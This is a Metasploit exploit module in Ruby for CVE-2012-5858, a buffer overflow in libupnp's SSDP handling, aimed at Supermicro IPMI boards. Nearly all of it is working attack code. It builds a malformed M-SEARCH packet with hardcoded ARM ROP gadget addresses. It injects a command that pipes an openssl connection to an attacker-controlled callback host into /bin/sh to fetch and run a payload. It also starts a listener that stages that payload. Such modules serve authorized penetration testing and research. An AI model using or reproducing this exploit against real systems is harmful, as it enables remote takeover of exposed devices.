Portable UPnP SDK unique_service_name() Remote Code Execution

Praetorian503 · February 5, 2013

This Metasploit module exploits a buffer overflow in the unique_service_name() function of libupnp's SSDP processor. The libupnp library is used across thousands of devices and is referred to as the Intel SDK for UPnP Devices or the Portable SDK for UPnP Devices. Due to size limitations on many devices, this exploit uses a separate TCP listener to stage the real payload.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Portable UPnP SDK unique_service_name() Remote Code Execution',
      'Description'    => %q{
          This module exploits a buffer overflow in the unique_service_name()
        function of libupnp's SSDP processor. The libupnp library is used across
        thousands of devices and is referred to as the Intel SDK for UPnP
        Devices or the Portable SDK for UPnP Devices.

        Due to size limitations on many devices, this exploit uses a separate TCP
        listener to stage the real payload.
      },
      'Author'         => [
          'hdm',                                              # Exploit dev for Supermicro IPMI
          'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI
          'Richard Harman <richard[at]richardharman.com>'     # Binaries, system info, testing for Supermicro IPMI
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-5858' ],
          [ 'US-CERT-VU', '922681' ],
          [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => true,
      'Payload'        =>
        {
#
#          # The following BadChars do not apply since we stage the payload
#          # through a secondary connection. This is just for reference.
#
#          'BadChars'  =>
#            # Bytes 0-8 are not allowed
#            [*(0..8)].pack("C*") +
#            # 0x09, 0x0a, 0x0d are allowed
#            "\x0b\x0c\x0e\x0f" +
#            # All remaining bytes up to space are restricted
#            [*(0x10..0x1f)].pack("C*") +
#            # Also not allowed
#            "\x7f\x3a" +
#            # Breaks our string quoting
#            "\x22",

          # Unlimited since we stage this over a secondary connection
          'Space'       => 8000,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              # specific payloads vary widely by device (openssl for IPMI, etc)
            }
        },
      'Targets'        =>
        [

          [ "Automatic", { } ],

          #
          # ROP targets are difficult to represent in the hash, use callbacks instead
          #
          [ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {

            # The callback handles all target-specific settings
            :callback => :target_supermicro_ipmi_131,

            # This matches any line of the SSDP M-SEARCH response
            :fingerprint =>
              /Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi

            #
            # SSDP response:
            #  Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1
            #  http://192.168.xx.xx:49152/IPMIdevicedesc.xml
            #  uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice

            # Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)

          } ],

          [ "Debug Target", {

            # The callback handles all target-specific settings
            :callback => :target_debug

          } ]

        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 29 2013'))

    register_options(
      [
        Opt::RHOST(),
        Opt::RPORT(1900),
        OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
        OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
      ], self.class)
  end


  def exploit

    configure_socket

    target_info = choose_target

    unless self.respond_to?(target_info[:callback])
      print_error("Invalid target specified: no callback function defined")
      return
    end

    buffer = self.send(target_info[:callback])
    pkt =
      "M-SEARCH * HTTP/1.1\r\n" +
      "Host:239.255.255.250:1900\r\n" +
      "ST:uuid:schemas:device:" + buffer + ":end\r\n" +
      "Man:\"ssdp:discover\"\r\n" +
      "MX:3\r\n\r\n"

    print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")

    r = udp_sock.sendto(pkt, rhost, rport, 0)

    1.upto(5) do
      ::IO.select(nil, nil, nil, 1)
      break if session_created?
    end

    # No handler() support right now
  end



  # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
  def target_supermicro_ipmi_131

    # Create a fixed-size buffer for the payload
    buffer = Rex::Text.rand_text_alpha(2000)

    # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
    buffer[0,1]     = '"'
    buffer[1999,1]  = '"'

    # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
    cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])

    # Start a listener
    start_listener(true)

    # Figure out the port we picked
    cbport = self.service.getsockname[2]

    # Restart the service and use openssl to stage the real payload
    # Staged because only ~150 bytes of contiguous data are available before mangling
    cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"
    buffer[432, cmd.length] = cmd

    # Adjust $r3 to point from the bottom of the stack back into our buffer
    buffer[304,4] = [0x4009daf8].pack("V") #
      # 0x4009daf8:  add  r3, r3, r4, lsl #2
      # 0x4009dafc:  ldr  r0, [r3, #512]  ; 0x200
      # 0x4009db00:  pop  {r4, r10, pc}

    # The offset (right-shifted by 2 ) to our command string above
    buffer[284,4] = [0xfffffe78].pack("V") #

    # Copy $r3 into $r0
    buffer[316,4] = [0x400db0ac].pack("V")
      # 0x400db0ac <_IO_wfile_underflow+1184>:  sub  r0, r3, #1
      # 0x400db0b0 <_IO_wfile_underflow+1188>:  pop  {pc}    ; (ldr pc, [sp], #4)

    # Move our stack pointer down so as not to corrupt our payload
    buffer[320,4] = [0x400a5568].pack("V")
      # 0x400a5568 <__default_rt_sa_restorer_v2+5448>:  add  sp, sp, #408  ; 0x198
      # 0x400a556c <__default_rt_sa_restorer_v2+5452>:  pop  {r4, r5, pc}

    # Finally return to system() with $r0 pointing to our string
    buffer[141,4] = [0x400add8c].pack("V")

    return buffer
=begin
    00008000-00029000 r-xp 00000000 08:01 709233     /bin/upnp_dev
    00031000-00032000 rwxp 00021000 08:01 709233     /bin/upnp_dev
    00032000-00055000 rwxp 00000000 00:00 0          [heap]
    40000000-40015000 r-xp 00000000 08:01 709562     /lib/ld-2.3.5.so
    40015000-40017000 rwxp 00000000 00:00 0
    4001c000-4001d000 r-xp 00014000 08:01 709562     /lib/ld-2.3.5.so
    4001d000-4001e000 rwxp 00015000 08:01 709562     /lib/ld-2.3.5.so
    4001e000-4002d000 r-xp 00000000 08:01 709535     /lib/libpthread-0.10.so
    4002d000-40034000 ---p 0000f000 08:01 709535     /lib/libpthread-0.10.so
    40034000-40035000 r-xp 0000e000 08:01 709535     /lib/libpthread-0.10.so
    40035000-40036000 rwxp 0000f000 08:01 709535     /lib/libpthread-0.10.so
    40036000-40078000 rwxp 00000000 00:00 0
    40078000-40180000 r-xp 00000000 08:01 709620     /lib/libc-2.3.5.so
    40180000-40182000 r-xp 00108000 08:01 709620     /lib/libc-2.3.5.so
    40182000-40185000 rwxp 0010a000 08:01 709620     /lib/libc-2.3.5.so
    40185000-40187000 rwxp 00000000 00:00 0
    bd600000-bd601000 ---p 00000000 00:00 0
    bd601000-bd800000 rwxp 00000000 00:00 0
    bd800000-bd801000 ---p 00000000 00:00 0
    bd801000-bda00000 rwxp 00000000 00:00 0
    bdc00000-bdc01000 ---p 00000000 00:00 0
    bdc01000-bde00000 rwxp 00000000 00:00 0
    be000000-be001000 ---p 00000000 00:00 0
    be001000-be200000 rwxp 00000000 00:00 0
    be941000-be956000 rwxp 00000000 00:00 0          [stack]
=end

  end

  # Generate a buffer that provides a starting point for exploit development
  def target_debug
    buffer = Rex::Text.pattern_create(2000)
  end

  def stage_real_payload(cli)
    print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
    cli.put(payload.encoded + "\n")
  end

  def start_listener(ssl = false)

    comm = datastore['ListenerComm']
    if comm == "local"
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    self.service = Rex::Socket::TcpServer.create(
      'LocalPort' => datastore['CBPORT'],
      'SSL'       => ssl,
      'SSLCert'   => datastore['SSLCert'],
      'Comm'      => comm,
      'Context'   =>
        {
          'Msf'        => framework,
          'MsfExploit' => self,
        })

    self.service.on_client_connect_proc = Proc.new { |client|
      stage_real_payload(client)
    }

    # Start the listening service
    self.service.start
  end

  #
  # Shut down any running services
  #
  def cleanup
    super
    if self.service
      print_status("Shutting down payload stager listener...")
      begin
        self.service.deref if self.service.kind_of?(Rex::Service)
        if self.service.kind_of?(Rex::Socket)
          self.service.close
          self.service.stop
        end
        self.service = nil
      rescue ::Exception
      end
    end
  end

  def choose_target
    # If the user specified a target, use that one
    return self.target unless self.target.name =~ /Automatic/

    msearch =
      "M-SEARCH * HTTP/1.1\r\n" +
      "Host:239.255.255.250:1900\r\n" +
      "ST:upnp:rootdevice\r\n" +
      "Man:\"ssdp:discover\"\r\n" +
      "MX:3\r\n\r\n"

    # Fingerprint the service through SSDP
    udp_sock.sendto(msearch, rhost, rport, 0)

    res = nil
    1.upto(5) do
      res,addr,info = udp_sock.recvfrom(65535, 1.0)
      break if res and res =~ /^(Server|Location)/mi
      udp_sock.sendto(msearch, rhost, rport, 0)
    end

    self.targets.each do |t|
      return t if t[:fingerprint] and res =~ t[:fingerprint]
    end

    if res and res.to_s.length > 0
      print_status("No target matches this fingerprint")
      print_status("")
      res.to_s.split("\n").each do |line|
        print_status("    #{line.strip}")
      end
      print_status("")
    else
      print_status("The system #{rhost} did not reply to our M-SEARCH probe")
    end

    fail_with(Exploit::Failure::NoTarget, "No compatible target detected")
  end

  # Accessor for our TCP payload stager
  attr_accessor :service

  # We need an unconnected socket because SSDP replies often come
  # from a different sent port than the one we sent to. This also
  # breaks the standard UDP mixin.
  def configure_socket
    self.udp_sock = Rex::Socket::Udp.create({
      'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
    })
    add_socket(self.udp_sock)
  end

  #
  # Required since we aren't using the normal mixins
  #

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  # Accessor for our UDP socket
  attr_accessor :udp_sock

end